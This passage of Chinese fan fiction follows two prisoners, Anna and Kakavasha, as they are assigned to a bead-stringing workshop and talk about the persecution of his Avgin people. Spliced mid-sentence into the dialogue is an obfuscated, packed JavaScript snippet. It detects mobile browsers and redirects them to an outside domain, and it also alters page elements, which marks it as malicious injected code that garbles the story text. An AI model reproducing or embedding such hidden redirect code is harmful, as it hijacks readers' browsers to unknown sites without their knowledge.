“哦哦!好!”她恋恋不舍的多看了几眼,赶忙抬腿追上前面的人。 工艺品加工坊在囚室走廊的反方向,走出食堂这里另有一处升降机,一部分犯人先上去,升降机向下运行,等到交接完毕空箱返回继续运载。 工厂入口处竖着签到打卡的设备,还是扫身份牌,唯一不同的是走过这一道手续后犯人们要分流进入不同的车间。哪怕串珠子也得有人切割有人打磨有人钻孔才能有人穿串儿嘛!卡卡瓦夏说的抽签就是在这里,他和安娜交换位置站到她前面,向工作人员表明小团体后胡乱点了下光屏,守在这里的狱卒就给了他们两个牌子:“往右走,串珠子。” “你这运气,好得有点离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15091315|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谱了吧!”安娜想起水生种越狱那一夜,这小子躲在门后也有宝石主动飞到手里。 卡卡瓦夏顿了一下,笑容依旧明媚灿烂:“嗯,我从小到大运气都很好,不然也活不到现在。” 安娜若有所思的走进车间找了个靠近角落的工位坐下,桌上摆满一筐又一筐各色珠子,成把的线穗随意挂在一旁。年轻人熟门熟路坐在她对面,仔细一看,他的头发似乎又长出来了一些,从浅金色的栗子壳变成浅金色的绒毯。 “能讲讲吗?”大姐姐垂下眼睛挑了根绳子,一头固定在挂钩上,另一头笨笨的一颗珠子一颗珠子往上串,“埃维金人到底都干了什么天怒人怨的事儿?无赖还有三个帮腔的,怎么到了你们头上就一句好话也没有?” 混到这种人人喊打的地步,怎么着也得造下屠杀他族祖宗十八代的罪孽。还是说埃维金人放高利贷了?住在别人家里赖着不走了?贼喊捉贼四处卖惨了? 埃维金氏族的名声,就连她这个失去记忆的人也在短短数日内就有了直观认识。什么小偷骗子都算是好听的,难听起来那话根本就不能往耳朵里进。要不是伊维尔监狱绝不存在犯人串囚室的可能,只怕她也得跟着一并落入道德的低谷被众人口诛笔伐。 “……” 很少有人如此直白的向卡卡瓦夏问起这个问题。从前他所接触过的人里,无论同一片笼子里的奴隶还是奴隶主的客人,“埃维金”这个词就像是有毒那样为人所回避。当着他的面说难听话的人比比皆是,那些自我标榜着“文明”“民主”“平等”的活动家们在公众面前也不过做出一副怜悯的样子,背后还是一样窃窃私语。 年轻人沉默了一会儿,安娜看看他:“不愿意说就算了,我只是好奇为什么埃维金人会遭到全宇宙系统性的迫害。” 一个人说埃维金的坏话,十个人百个人千个人,人人都这么说……就算大家压根不知道“埃维金”该怎么拼写也会在心里下意识认为那是个糟糕的民族。 认知一旦形成就难以更改,前面记不清楚后面忘了,但埃维金人放荡堕落几乎成为共识。 可是卡卡瓦夏这个人并非如此,除了自我评价偏低外他就是个心思细腻想得比较多的大男孩,嗯,生得比较漂亮,然后就没有然后了。羚羊不该为头上那对美丽的角背负责难,有错的分明是那些偷猎者。 至于所谓的“放荡堕落”,这几个琥珀纪之前卫道士们嘴里的古老罪名究竟从何而来?真要算起来谁年轻时没经历过个把人渣呢,人家关起门来爱怎么作怎么作,只要不在公开场合宣扬谁也碍不上不是。 “没有,没有什么不能说的。”卡卡瓦夏低着头,字里行间带着点无由来的鼻音,“只是不知道该从何说起,能等我想想吗?” 全宇宙都说你没脸没皮没节操,忽然有一天某个人不经意的翻着白眼质疑:什么?你脸皮厚?怎么个厚法?我怎么不信?!